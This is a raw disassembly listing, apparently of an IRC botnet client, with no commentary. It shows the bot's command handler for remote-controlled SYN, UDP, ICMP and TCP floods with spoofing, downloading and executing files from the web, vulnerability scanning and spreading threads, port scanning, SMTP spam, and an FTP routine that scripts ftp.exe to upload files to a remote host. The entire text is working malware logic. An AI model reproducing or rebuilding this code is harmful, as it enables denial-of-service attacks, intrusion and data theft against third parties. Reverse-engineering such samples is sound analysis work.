pop ecx
test eax, eax
pop ecx
jz loc_410B2F
push [ebp+arg_8]
push offset aDownload_updiz ; "download.updiz"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4109B2
push [ebp+arg_8]
push offset aDownload_upz ; "download.upz"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4109B2
push [ebp+arg_8]
push offset aBox_execute ; "box.execute"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410919
push [ebp+arg_8]
push offset aBox_e ; "box.e"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410919
push [ebp+arg_8]
push offset aBox_findfile ; "box.findfile"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41080D
push [ebp+arg_8]
push offset aBox_ff ; "box.ff"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41080D
push [ebp+arg_8]
push offset aBox_rename ; "box.rename"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4107BC
push [ebp+arg_8]
push offset aBox_mv ; "box.mv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4107BC
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4106C2
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4106C2
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4105D8
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4105D8
push [ebp+arg_8]
push offset aDs_sy1 ; "ds.sy1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDs_ack ; "ds.ack"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDs_rm ; "ds.rm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4103C9
push [ebp+arg_8]
push offset aSy1 ; "sy1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4103C9
push [ebp+arg_8]
push offset aDownload_fromw ; "download.fromwww"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41028C
push [ebp+arg_8]
push offset aD1 ; "d1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41028C
push [ebp+arg_8]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410193
push [ebp+arg_8]
push offset aServer_rd_on ; "server.rd.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410193
push [ebp+arg_8]
push offset aEnz_portscan ; "enz.portscan"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4100A1
push [ebp+arg_8]
push offset aEnz_ps ; "enz.ps"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4100A1
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FFCC
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FFCC
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FEBA
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FEBA
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aVuln_start ; "vuln.start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FB65
push [ebp+arg_8]
push offset aVvv ; "vvv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FB65
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aPu ; "pu"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aPg ; "pg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F75E
push [ebp+arg_8]
push offset aUsa ; "usa"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F75E
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F55E
lea eax, [ebp+var_A7C]
push edi
push eax
call sub_415A20
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_1FD4]
push eax
call sub_415A20
push [ebp+arg_10]
lea eax, [ebp+var_1690]
push eax
call sub_415A20
push offset asc_426A34 ; " "
push offset a_ ; "_"
push [ebp+esi+var_80]
call sub_4098D4
push eax
lea eax, [ebp+var_1ED4]
push eax
call sub_415A20
add esp, 30h
lea eax, [ebp+var_1824]
push eax
push 101h
call dword_43C4CC
lea eax, [ebp+var_A7C]
push eax
call dword_43C5D8
push 6
push 1
push 2
mov edi, eax
call dword_43C5D4
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_D0], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_CC], eax
call dword_43C554
mov [ebp+var_CE], ax
lea eax, [ebp+var_1ED4]
push eax
lea eax, [ebp+var_1FD4]
push eax
lea eax, [ebp+var_1ED4]
push eax
lea eax, [ebp+var_1690]
push eax
lea eax, [ebp+var_1FD4]
push eax
lea eax, [ebp+var_27D4]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_415316
add esp, 1Ch
lea eax, [ebp+var_D0]
push 10h
push eax
push esi
call dword_43C4FC
mov edi, 100h
push ebx
lea eax, [ebp+var_1DD0]
push edi
push eax
push esi
call dword_43C56C
lea eax, [ebp+var_1DD0]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_27D4]
push eax
push esi
call dword_43C5A4
push ebx
lea eax, [ebp+var_1DD0]
push edi
push eax
push esi
call dword_43C56C
push esi
call dword_43C5EC
call dword_43C4B4
lea eax, [ebp+var_1690]
push eax
push offset unk_435398
loc_40F517: ; CODE XREF: sub_40CD3A+396Ej
; sub_40CD3A+3DD1j ...
lea eax, [ebp+var_2D8]
loc_40F51D: ; CODE XREF: sub_40CD3A+3C73j
push eax
call sub_415316
loc_40F523: ; CODE XREF: sub_40CD3A+50FEj
add esp, 0Ch
loc_40F526: ; CODE XREF: sub_40CD3A+1E21j
; sub_40CD3A+1E7Bj ...
cmp [ebp+var_8], ebx
jnz short loc_40F547
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40F547: ; CODE XREF: sub_40CD3A+27EFj
; sub_40CD3A+4433j ...
mov esi, [ebp+arg_24]
loc_40F54A: ; CODE XREF: sub_40CD3A+954j
; sub_40CD3A+475Dj ...
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
mov eax, esi
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_40F55E: ; CODE XREF: sub_40CD3A+2687j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F730
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F730
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40D18F
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
push 4
push esi
call sub_40C0F3
pop ecx
test eax, eax
pop ecx
jnz short loc_40F604
push esi
push offset dword_43533C
loc_40F5C3: ; CODE XREF: sub_40CD3A+4989j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
loc_40F5D2: ; CODE XREF: sub_40CD3A+42DBj
; sub_40CD3A+518Dj
cmp [ebp+var_8], ebx
jnz short loc_40F5F3
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40F5F3: ; CODE XREF: sub_40CD3A+289Bj
; sub_40CD3A+5381j ...
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
jmp loc_412999
; ---------------------------------------------------------------------------
loc_40F604: ; CODE XREF: sub_40CD3A+2881j
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_415372
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_415372
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_415372
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_1DD4]
push edx
push eax
lea eax, [ebp+var_1694]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_415316
lea eax, [ebp+var_1694]
push offset aAb ; "ab"
push eax
call sub_415A08
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40D18F
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_4159B6
push [ebp+arg_24]
call sub_415960
lea eax, [ebp+var_1694]
push eax
lea eax, [ebp+var_A7C]
push offset aSS_4 ; "-s:%s"
push eax
call sub_415316
add esp, 2Ch
lea eax, [ebp+var_A7C]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43C4C8
push edi
push esi
test eax, eax
jz short loc_40F6CE
push offset dword_4352C0
jmp short loc_40F6D3
; ---------------------------------------------------------------------------
loc_40F6CE: ; CODE XREF: sub_40CD3A+298Bj
push offset dword_435280
loc_40F6D3: ; CODE XREF: sub_40CD3A+2992j
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40F6FC
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40F6FC: ; CODE XREF: sub_40CD3A+29A4j
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
jmp short loc_40F716
; ---------------------------------------------------------------------------
loc_40F70A: ; CODE XREF: sub_40CD3A+29EFj
lea eax, [ebp+var_1694]
push eax
call sub_41791C
loc_40F716: ; CODE XREF: sub_40CD3A+29CEj
lea eax, [ebp+var_1694]
push 4
push eax
call sub_40C0F3
add esp, 0Ch
test eax, eax
jnz short loc_40F70A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_40F730: ; CODE XREF: sub_40CD3A+2835j
; sub_40CD3A+284Cj
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41587F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406A63
jmp loc_412815
; ---------------------------------------------------------------------------
loc_40F75E: ; CODE XREF: sub_40CD3A+2659j
; sub_40CD3A+2670j
mov esi, 80h
push edi
lea eax, [ebp+var_1104]
push esi
push eax
call sub_41588A
lea eax, [ebp+var_1104]
push eax
push offset aSyn ; "syn"
call sub_415730
add esp, 14h
test eax, eax
jz short loc_40F7C1
lea eax, [ebp+var_1104]
push eax
push offset aAck ; "ack"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40F7C1
lea eax, [ebp+var_1104]
push eax
push offset aRandom ; "random"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40F7C1
push offset dword_435240
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40F7C1: ; CODE XREF: sub_40CD3A+2A4Dj
; sub_40CD3A+2A64j ...
push [ebp+arg_10]
call sub_41587F
cmp eax, ebx
pop ecx
mov [ebp+var_FFC], eax
jle loc_40F8E3
push edi
lea eax, [ebp+var_1104]
push esi
push eax
call sub_41588A
push [ebp+arg_18]
lea eax, [ebp+var_1184]
push esi
push eax
call sub_41588A
push [ebp+arg_0]
call sub_41587F
mov [ebp+var_1000], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_FF8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1188], eax
lea eax, [ebp+var_1084]
push esi
push eax
call sub_41588A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_FF8], ebx
mov [ebp+var_FF4], eax
mov eax, [ebp+var_8]
mov [ebp+var_FF0], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40F858
mov eax, offset aNormal ; "Normal"
loc_40F858: ; CODE XREF: sub_40CD3A+2B17j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_4351E8
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 0Ch
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_1004], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1188]
push ebx
push eax
push offset sub_401BD4
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1004]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40F8D9
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_435198
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40F8D1: ; CODE XREF: sub_40CD3A+2BA5j
push 32h
call dword_421060 ; Sleep
loc_40F8D9: ; CODE XREF: sub_40CD3A+2B84j
cmp [ebp+var_FEC], ebx
jz short loc_40F8D1
jmp short loc_40F8F6
; ---------------------------------------------------------------------------
loc_40F8E3: ; CODE XREF: sub_40CD3A+2A98j
push offset dword_435148
loc_40F8E8: ; CODE XREF: sub_40CD3A+1B59j
; sub_40CD3A+1C63j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
pop ecx
pop ecx
loc_40F8F6: ; CODE XREF: sub_40CD3A+1C2Bj
; sub_40CD3A+1C3Fj ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push [ebp+var_4]
loc_40F903: ; CODE XREF: sub_40CD3A+3776j
lea eax, [ebp+var_2D8]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40F913: ; CODE XREF: sub_40CD3A+505Ej
call sub_412BD1
add esp, 14h
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40F920: ; CODE XREF: sub_40CD3A+2614j
; sub_40CD3A+262Bj ...
cmp dword_43C640, ebx
mov esi, [ebp+arg_4]
jnz loc_40FA2B
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_590], eax
mov eax, [ebp+var_4]
mov [ebp+var_594], eax
lea eax, [ebp+var_628]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_5A8], eax
call sub_41587F
push [ebp+arg_10]
mov [ebp+var_5A4], eax
call sub_41587F
push 7Fh
mov [ebp+var_5A0], eax
push [ebp+var_8C]
lea eax, [ebp+var_6A8]
push eax
call sub_416BE0
push [ebp+var_5A0]
lea eax, [ebp+var_628]
mov [ebp+var_6AC], esi
push [ebp+var_5A4]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_5A8]
push offset unk_4350E8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 0Eh
push eax
call sub_414DDA
add esp, 48h
mov [ebp+var_598], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6AC]
push ebx
push eax
push offset sub_40A133
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_598]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40FA1E
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435098
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_40FA16: ; CODE XREF: sub_40CD3A+2CEAj
push 32h
call dword_421060 ; Sleep
loc_40FA1E: ; CODE XREF: sub_40CD3A+2CC9j
cmp [ebp+var_58C], ebx
jz short loc_40FA16
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_40FA2B: ; CODE XREF: sub_40CD3A+2BEFj
push 1FFh
lea eax, [ebp+var_2D8]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_416BE0
jmp loc_4105B1
; ---------------------------------------------------------------------------
loc_40FA46: ; CODE XREF: sub_40CD3A+25CFj
; sub_40CD3A+25E6j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_590], eax
mov eax, [ebp+var_4]
mov [ebp+var_594], eax
lea eax, [ebp+var_628]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_5A8], eax
call sub_41587F
push [ebp+arg_10]
mov [ebp+var_5A4], eax
call sub_41587F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_5A0], eax
jz short loc_40FAAB
push esi
call sub_41587F
pop ecx
mov [ebp+var_59C], eax
jmp short loc_40FAB1
; ---------------------------------------------------------------------------
loc_40FAAB: ; CODE XREF: sub_40CD3A+2D60j
mov [ebp+var_59C], ebx
loc_40FAB1: ; CODE XREF: sub_40CD3A+2D6Fj
push 7Fh
lea eax, [ebp+var_6A8]
push [ebp+var_8C]
push eax
call sub_416BE0
push [ebp+var_5A0]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_628]
mov [ebp+var_6AC], esi
push [ebp+var_5A4]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_5A8]
push offset dword_435020
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 0Fh
push eax
call sub_414DDA
add esp, 30h
mov [ebp+var_598], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6AC]
push ebx
push eax
push offset sub_40A2BF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_598]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40FB58
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434FD0
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_40FB50: ; CODE XREF: sub_40CD3A+2E24j
push 32h
call dword_421060 ; Sleep
loc_40FB58: ; CODE XREF: sub_40CD3A+2E03j
cmp [ebp+var_58C], ebx
jz short loc_40FB50
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_40FB65: ; CODE XREF: sub_40CD3A+25A1j
; sub_40CD3A+25B8j
push 8
call sub_41501C
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41587F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40FBB5
push [ebp+arg_8]
lea eax, [ebp+var_2D8]
push offset dword_434F78
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
jmp loc_410FD3
; ---------------------------------------------------------------------------
loc_40FBB5: ; CODE XREF: sub_40CD3A+2E47j
push edi
call sub_41587F
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_45C], eax
call sub_41587F
add esp, 0Ch
cmp eax, 1
mov [ebp+var_470], eax
jnb short loc_40FBEE
xor eax, eax
inc eax
mov [ebp+var_470], eax
loc_40FBEE: ; CODE XREF: sub_40CD3A+2EA9j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40FBFB
mov [ebp+var_470], ecx
loc_40FBFB: ; CODE XREF: sub_40CD3A+2EB9j
push [ebp+arg_10]
call sub_41587F
mov [ebp+var_46C], eax
mov eax, 1F4h
cmp [ebp+var_46C], eax
pop ecx
jbe short loc_40FC1D
mov [ebp+var_46C], eax
loc_40FC1D: ; CODE XREF: sub_40CD3A+2EDBj
or [ebp+var_458], 0FFFFFFFFh
cmp dword_427388, ebx
mov [ebp+arg_10], ebx
jz short loc_40FC73
mov [ebp+arg_24], offset dword_427388
loc_40FC36: ; CODE XREF: sub_40CD3A+2F1Bj
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40FC59
add [ebp+arg_24], 3Ch
inc [ebp+arg_10]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_40FC36
jmp short loc_40FC73
; ---------------------------------------------------------------------------
loc_40FC59: ; CODE XREF: sub_40CD3A+2F0Dj
mov eax, [ebp+arg_10]
mov ecx, eax
mov [ebp+var_458], eax
imul ecx, 3Ch
mov ecx, dword_427388[ecx]
mov [ebp+var_474], ecx
loc_40FC73: ; CODE XREF: sub_40CD3A+2EF3j
; sub_40CD3A+2F1Dj
cmp [ebp+var_474], ebx
jz loc_411AD3
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40FCBA
cmp byte ptr [edi], 23h
jz short loc_40FCBA
push edi
lea eax, [ebp+var_588]
push 10h
push eax
call sub_41588A
push 78h
push edi
call sub_416F20
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_448], eax
jmp loc_40FD8E
; ---------------------------------------------------------------------------
loc_40FCBA: ; CODE XREF: sub_40CD3A+2F4Ej
; sub_40CD3A+2F53j
cmp [ebp+var_8FF], bl
jnz short loc_40FCDC
cmp [ebp+var_8FE], bl
jnz short loc_40FCDC
cmp [ebp+var_8EE], bl
jnz short loc_40FCDC
push offset dword_434F28
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40FCDC: ; CODE XREF: sub_40CD3A+2F86j
; sub_40CD3A+2F8Ej ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_D0]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43C4F8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_CC], eax
push [ebp+var_CC]
call dword_43C5E0
push eax
lea eax, [ebp+var_588]
push eax
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40FD88
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_588]
push eax
call sub_416EE0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40FD7C
loc_40FD5A: ; CODE XREF: sub_40CD3A+3040j
cmp eax, ebx
jz short loc_40FD7C
mov byte ptr [eax], 78h
lea eax, [ebp+var_588]
push 30h
push eax
call sub_416EE0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40FD5A
loc_40FD7C: ; CODE XREF: sub_40CD3A+301Ej
; sub_40CD3A+3022j
mov [ebp+var_448], 1
jmp short loc_40FD8E
; ---------------------------------------------------------------------------
loc_40FD88: ; CODE XREF: sub_40CD3A+2FF8j
mov [ebp+var_448], ebx
loc_40FD8E: ; CODE XREF: sub_40CD3A+2F7Bj
; sub_40CD3A+304Cj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_478], eax
mov eax, [ebp+var_4]
mov [ebp+var_450], eax
mov eax, [ebp+var_8]
mov [ebp+var_44C], eax
mov edi, 80h
lea eax, [ebp+var_578]
push edi
push eax
call sub_41588A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40FDDF
loc_40FDCC: ; CODE XREF: sub_40CD3A+30C8j
push esi
loc_40FDCD: ; CODE XREF: sub_40CD3A+30B2j
lea eax, [ebp+var_4F8]
push edi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_40FE0A
; ---------------------------------------------------------------------------
loc_40FDDF: ; CODE XREF: sub_40CD3A+3090j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40FDEE
cmp byte ptr [eax], 23h
jnz short loc_40FDEE
push eax
jmp short loc_40FDCD
; ---------------------------------------------------------------------------
loc_40FDEE: ; CODE XREF: sub_40CD3A+30AAj
; sub_40CD3A+30AFj
mov esi, offset dword_42C304
push offset byte_43B188
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40FDCC
mov [ebp+var_4F8], bl
loc_40FE0A: ; CODE XREF: sub_40CD3A+30A3j
cmp [ebp+var_448], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40FE1C
mov eax, offset aSequential ; "Sequential"
loc_40FE1C: ; CODE XREF: sub_40CD3A+30DBj
push [ebp+var_45C]
lea ecx, [ebp+var_588]
push [ebp+var_46C]
push [ebp+var_470]
push [ebp+var_474]
push ecx
push eax
lea eax, [ebp+var_2D8]
push offset dword_434E98
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_468], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_4078DF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_468]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40FEAD
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_434E48
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40FEA5: ; CODE XREF: sub_40CD3A+3179j
push 32h
call dword_421060 ; Sleep
loc_40FEAD: ; CODE XREF: sub_40CD3A+3158j
cmp [ebp+var_444], ebx
jz short loc_40FEA5
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40FEBA: ; CODE XREF: sub_40CD3A+2561j
; sub_40CD3A+2578j
push edi
call sub_41587F
imul eax, 234h
pop ecx
cmp byte_4416E0[eax], bl
jz loc_412818
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
call sub_415B10
push edi
mov esi, eax
call sub_415B10
push [ebp+arg_8]
add esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
lea eax, [ebp+var_2D8]
push esi
push offset dword_434E38
push eax
call sub_415316
add esp, 20h
cmp esi, ebx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
lea eax, [ebp+var_2D8]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412BD1
push edi
call sub_41587F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4414C8[eax], 73h
jnz loc_412818
push esi
push edi
call sub_41587F
imul eax, 234h
pop ecx
add eax, offset byte_4416E0
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40FFA2: ; CODE XREF: sub_40CD3A+3362j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
jmp loc_411F81
; ---------------------------------------------------------------------------
loc_40FFCC: ; CODE XREF: sub_40CD3A+2533j
; sub_40CD3A+254Aj
push edi
call sub_41587F
imul eax, 234h
pop ecx
cmp byte_4416E0[eax], bl
jz loc_412818
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
call sub_415B10
push edi
mov esi, eax
call sub_415B10
push [ebp+arg_8]
add esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412BD1
push edi
call sub_41587F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4414C8[eax], 73h
jnz loc_412818
push esi
push edi
call sub_41587F
imul eax, 234h
pop ecx
add eax, offset byte_4416E0
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_40FFA2
; ---------------------------------------------------------------------------
loc_4100A1: ; CODE XREF: sub_40CD3A+2505j
; sub_40CD3A+251Cj
push edi
call dword_43C594
push [ebp+arg_18]
mov [ebp+var_388], eax
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_394], eax
call sub_41587F
mov esi, [ebp+arg_4]
push 7Fh
